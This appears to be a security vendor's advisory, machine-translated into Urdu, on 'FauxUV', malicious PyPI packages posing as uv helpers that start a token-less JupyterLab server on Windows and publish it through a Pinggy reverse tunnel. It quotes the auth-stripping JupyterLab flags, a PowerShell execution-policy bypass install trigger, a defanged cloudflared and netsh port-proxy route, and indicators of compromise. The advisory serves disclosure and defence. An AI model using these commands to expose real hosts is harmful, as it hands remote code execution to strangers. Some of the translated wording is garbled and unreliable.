FauxUV: جعلی PyPI uv پیکیجز Jupyter کو ویب پر کھولتے ہیں۔

FauxUV: جعلی PyPI uv مددگار جو انٹرنیٹ پر غیر مستند Jupyter سرور کھولتے ہیں

TL؛ ڈاکٹر

PyPI پیکجوں کے ایک کلسٹر نے کا نام لیا ہے۔ uv, تیز رفتار، بے حد مقبول زنگ پر مبنی Python پیکیج مینیجر، uv مددگار کے طور پر ظاہر کرنے کے لیے۔ وہ تقریبا کوئی حقیقی فعالیت نہیں بھیجتے ہیں۔ اس کے بجائے وہ جو لے جاتے ہیں وہ ونڈوز پے لوڈ ہے جو کھڑا ہوتا ہے۔ توثیق کے ساتھ JupyterLab سرور بند کر دیا گیا۔ اور، بعد کے ورژنز میں، اسے ریورس ٹنل کے ذریعے پبلک انٹرنیٹ پر شائع کرتا ہے۔

یہ ایک لائن میں پوری کہانی ہے: ایک بھروسہ مند ٹول کا نام لالچ کے طور پر، اور JupyterLab بطور ریموٹ کوڈ-ایگزیکیوشن انجن۔ ایک Jupyter سرور آپ جو بھی کوڈ ٹائپ کرتے ہیں اسے چلاتا ہے۔ebook سیل ایک خالی ٹوکن کے ساتھ لانچ کیا گیا اور ہر نیٹ ورک انٹرفیس سے منسلک ایک کھلا مترجم ہے جسے کوئی بھی جو بندرگاہ تک پہنچ سکتا ہے گاڑی چلا سکتا ہے۔

ہم کلسٹر کو بطور ٹریک کرتے ہیں۔ FauxUV. جانچے گئے دو پیکجز ہیں۔ moon-uv (0.0.1-0.0.16) اور my-magic-uv-helper (0.0.1)، اسی آپریٹر کے ذریعہ شائع کیا گیا اور تجزیہ کے وقت PyPI پر لائیو۔

ماحولیاتی نظامپییآئآئ
پیکجوں کےmoon-uv (0.0.1-0.0.16)، my-magic-uv-helper (0.0.1)
پلیٹ فارم کو نشانہ بنایا گیا۔ونڈوز
بنیادی سلوکغیر مستند JupyterLab سرور، ایک ریورس ٹنل کے ذریعے انٹرنیٹ پر شائع کیا گیا ہے۔
جائز آلات کا غلط استعمال کیا گیا۔uv، JupyterLab، cloudflared، Pingy

لالچ: ایک نام جس پر آپ پہلے ہی بھروسہ کرتے ہیں۔

uv پچھلے دو سالوں میں سب سے زیادہ انسٹال شدہ Python ٹولز میں سے ایک ہے، لہذا "ایک مددگار uv” ایک ایسا پیکج ہے جسے ڈویلپر بغیر سوچے سمجھے انسٹال کرتا ہے۔ FauxUV اپنی ساکھ پوری طرح اس نام پر خرچ کرتا ہے۔ حقیقی uv Astral سے انسٹالر - حقیقی، معروف میزبانوں پر پے لوڈ پوائنٹ میں URLs - لہذا ایک سرسری نظر میں قابل اعتماد حوالہ جات کے سوا کچھ نظر نہیں آتا۔ پیکجوں میں سے کوئی بھی اصل میں شامل نہیں کرتا ہے۔ uv فعالیت؛ نام ہی سارا بھیس ہے۔

JupyterLab بطور RCE انجن

پے لوڈ کا مرکز ایک لانچر ہے جو JupyterLab کو ہر گارڈریل کو ہٹانے کے ساتھ شروع کرتا ہے:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

ہر جھنڈا ایک تحفظ چھین لیتا ہے، اور بھیجی گئی اسکرپٹ ان کی تشریح بھی کرتی ہے (اصل چینی میں): خالی ٹوکن "پاس ورڈ اور ٹوکن چیک کو بند کر دیتا ہے - کوئی بھی رابطہ کر سکتا ہے۔" jupyter لیب ایک جائز ڈیٹا سائنس IDE ہے، لیکن نہیں۔ebook سیل ڈیزائن کے ذریعہ صوابدیدی کوڈ پر عمل درآمد کرتا ہے۔ اس طرح سے ترتیب دیا گیا اور اس کا پابند 0.0.0.0، یہ IDE ہونا بند کر دیتا ہے اور میزبان پر ایک غیر تصدیق شدہ ریموٹ شیل بن جاتا ہے — کسی حسب ضرورت میلویئر بائنری کی ضرورت نہیں ہے، صرف ایک مرکزی دھارے کے آلے نے غلط راستے کی نشاندہی کی۔

دو معاون ٹکڑے اسے قابل رسائی اور دوبارہ قابل بناتے ہیں:

  • ایک خاموش انسٹال ٹرگر۔ ابتدائی ورژن پاور شیل کے ساتھ چلتے ہیں۔ -ExecutionPolicy بائی پاس سیدھے سے setup.py on پائپ انسٹال کریں, پس منظر میں غلطیوں کے ساتھ اس طرح دبا دیا گیا ہے۔ PIP عام لگ رہا ہے. بعد کے ورژن اسی قدیم کو a میں منتقل کرتے ہیں۔ pip-uv کمانڈ لائن ٹول - اور انسٹال ٹائم آٹو رن کو مکمل طور پر چھوڑ دیں۔
  • ایک عوامی معکوس سرنگ۔ ایک سرور آن 0.0.0.0 ابھی بھی صرف ان میزبانوں کے ذریعہ قابل رسائی ہے جو مشین تک جاسکتے ہیں۔ ایک بنڈل ماڈیول کھولتا ہے [پنگی](https://pinggy.io/) SSH ریورس ٹنل جو مقامی Jupyter پورٹ کو ایک عوامی ایڈریس پر آگے بڑھاتی ہے، اس حد کو ہٹاتی ہے۔ بھیجے گئے اسکرپٹ میں - Cloudflare's کا استعمال کرتے ہوئے ایک متبادل راستہ - تبصرہ کیا گیا ہے۔ بادل بھڑکا ہوا اور ایک netsh ایک Linode IP پر پورٹ پراکسی، مختلف انفراسٹرکچر کے ذریعے ایک ہی مقصد کی دستاویز کرنا۔

ایک ساتھ رکھیں: پیکیج کو انسٹال کریں، اور ونڈوز ہوسٹ بغیر پاس ورڈ کے JupyterLab کو چلا کر اسے کھلے انٹرنیٹ پر شائع کرتا ہے۔

FauxUV کیسے تیار ہوا۔

FauxUV کے ورژن یکے بعد دیگرے بھیجے گئے، اور پے لوڈ کا ٹرگر پوائنٹ ان میں منتقل ہو گیا - ایک یاد دہانی کہ ایک پرچم والا ورژن شاذ و نادر ہی پیکیج لائن کی پوری کہانی بیان کرتا ہے۔

اسٹیج ورژن ٹریگر اس میں کیا اضافہ ہوتا ہے۔
انسٹال ہک moon-uv 0.0.1-0.0.3، my-magic-uv-helper 0.0.1 setup.py پائپ انسٹال کرنے پر uv install + PATH prepend
CLI-رن ٹائم moon-uv 0.0.5 0.0.13 pip-uv کمانڈ بغیر پاس ورڈ-JupyterLab لانچر
ٹنل moon-uv 0.0.14 0.0.16 pip-uv کمانڈ ایک فعال پِنگی ریورس ٹنل

خاص طور پر، انسٹال ٹائم آٹو رن تھا۔ ہٹا دیا بعد میں، زیادہ قابل ورژن - لہذا ایک سکینر صرف لائف سائیکل پر کلید رکھتا ہے۔ hooks کے طور پر نئی ریلیز اسکور کرے گا کم خطرناک، بالکل پیچھے کی طرف۔

سمجھوتہ کے اشارے

پیکیج کے ذریعہ کو پڑھ کر تصدیق کی گئی؛ اختتامی نقطوں کو نشان زد کیا گیا ہے۔ commented,en فائلوں میں موجود ہیں لیکن تجزیہ شدہ ورژن کے ذریعہ عمل میں نہیں لایا گیا ہے۔ نیٹ ورک کے اشارے خراب ہیں۔

قسم اشارے
کمانڈ انسٹال کریں۔ powershell -ExecutionPolicy Bypass حقیقی یووی انسٹالر کی بازیافت، پائپ انسٹال کے وقت
JupyterLab کے جھنڈے --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
ریورس ٹنل (فعال) free[.]pinggy[.]io:443 مقامی فارورڈنگ 127.0.0.1:8888
ٹنل ہوسٹ (تبصرہ کیا گیا) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (تبصرہ کیا گیا) 45[.]79[.]134[.]161 (لینوڈ) کے ذریعے netsh port-proxy
مسلسل پیش کرتا ہے %USERPROFILE%\.local\bin صارف PATH کو

ان قطعی تاروں سے آزاد، الرٹ کرنے کے قابل برتاؤ کے اشارے: a پائپ انسٹال کریں جو پیدا ہوتا ہے پاور شیل - ایگزیکیوشن پالیسی بائی پاس; کوئی بھی مشتری امتزاج شروع کریں ٹوکن ="" ساتھ -ip=0.0.0.0; اور آؤٹ باؤنڈ SSH کو *.pinggy.io ڈویلپر یا CI مشین سے۔

مشاہدہ کردہ سلوک اور اصلیت

دونوں پیکجز ایک مصنف اور ایک طریقہ کا اشتراک کرتے ہیں: ایک قابل اعتماد ٹول کا نام، صرف ونڈوز کے لیے گیٹنگ، خرابی کو دبانے والے پس منظر پر عمل درآمد، اور معروف ٹولز پر انحصار اس لیے فوری طور پر دیکھنے سے صرف معروف یو آر ایل نظر آتے ہیں۔ ماخذ میں چینی زبان کے تبصرے ہیں جن میں سیکورٹی سے متعلقہ جھنڈوں کو واضح طور پر بیان کیا گیا ہے۔ ہم ان کو فائل میں قابل مشاہدہ بیانات کے طور پر رپورٹ کرتے ہیں، مقصد کے بارے میں دعوی کے طور پر نہیں۔ دی اجازت_اصل قدر اور a colab.bat فائل کا نام غیر رسمی "شیئر مائی لوکل رن ٹائم" ورک فلو کی بازگشت ہے جو گوگل کولاب کے لیے گردش کرتا ہے۔ اصل کچھ بھی ہو، پیکڈ نتیجہ ایک ہی ہے۔

محافظوں کے لئے اثر اور رہنمائی

جو FauxUV کے سامنے ہے۔ ونڈوز ڈویلپرز اور سی آئی چلانے والے پائپ انسٹال کریں ان پیکجوں میں سے ایک۔ بغیر پاس ورڈ کے JupyterLab آن 0.0.0.0 بندرگاہ تک پہنچنے والے ہر شخص کے لیے ریموٹ کوڈ پر عمل درآمد ہے۔ سرنگ "اس تک کون پہنچ سکتا ہے" کی حد کو ہٹا دیتا ہے۔ سرور انسٹال کرنے والے صارف کے طور پر چلتا ہے، اس صارف کی فائلوں، ٹوکنز، اور کلاؤڈ اسناد کو وراثت میں ملتا ہے۔

کیوں یاد کرنا آسان ہے۔ ہر نیٹ ورک سٹرنگ ایک معروف میزبان کی طرف اشارہ کرتا ہے — Astral, JupyterLab، بادل بھڑکا ہوا، پنگی، کولاب۔ ہیش کے لیے کوئی میلویئر بائنری نہیں ہے اور ڈی کوڈ کرنے کے لیے کوئی مبہم بلاب نہیں ہے۔ ساکھ- اور دستخط پر مبنی اسکیننگ دونوں کا وزن کم ہے، یہی وجہ ہے کہ طرز عمل کا سوال — اس پیکیج کو انسٹال کرنے سے مشین کیا کرتی ہے۔ - وہی ہے جو اسے پکڑتا ہے۔

ہدایت:

  • کسی بھی انسٹال وقت کا علاج کریں۔ پاور شیل - ایگزیکیوشن پالیسی بائی پاس بلٹ بریکنگ سگنل کے طور پر، جو بھی یو آر ایل حاصل کرتا ہے۔
  • انتباہ مشتری ایک خالی ٹوکن کے ساتھ لانچ کیا گیا اور -ip=0.0.0.0; یہ مجموعہ کبھی بھی ورک سٹیشن یا رنر پر ظاہر نہیں ہونا چاہیے۔
  • سرنگ فراہم کرنے والوں کو آؤٹ باؤنڈ SSH کے لیے مانیٹر کریں (*.pinggy.io, *.trycloudflare.com) ڈویلپر اور CI ماحول سے۔
  • انسٹال uv [اس کے سرکاری ذریعہ] سےhttps://docs.astral.sh/uv/) اور تیسرے فریق کے "مددگار" پیکجوں کے بارے میں شکوک کا اظہار کریں جو انسٹال کرنے کے لئے پہلے سے ہی معمولی ٹول کو لپیٹ دیتے ہیں۔
  • اپ گریڈ پر انحصار پن اور دوبارہ جائزہ لیں — ایک پیکیج لائن نئی صلاحیت کے ورژن سے زیادہ ورژن کو بڑھا سکتی ہے۔
sca-tools-software-composition-analysis-tools
اپنے سافٹ ویئر کے خطرات کو ترجیح دیں، تدارک کریں اور محفوظ کریں۔
اپنا مفت اکاؤنٹ حاصل کریں۔
کوئی کریڈٹ کارڈ کی ضرورت نہیں ہے.

اپنے سافٹ ویئر ڈویلپمنٹ اور ڈیلیوری کو محفوظ بنائیں

Xygeni پروڈکٹ سویٹ کے ساتھ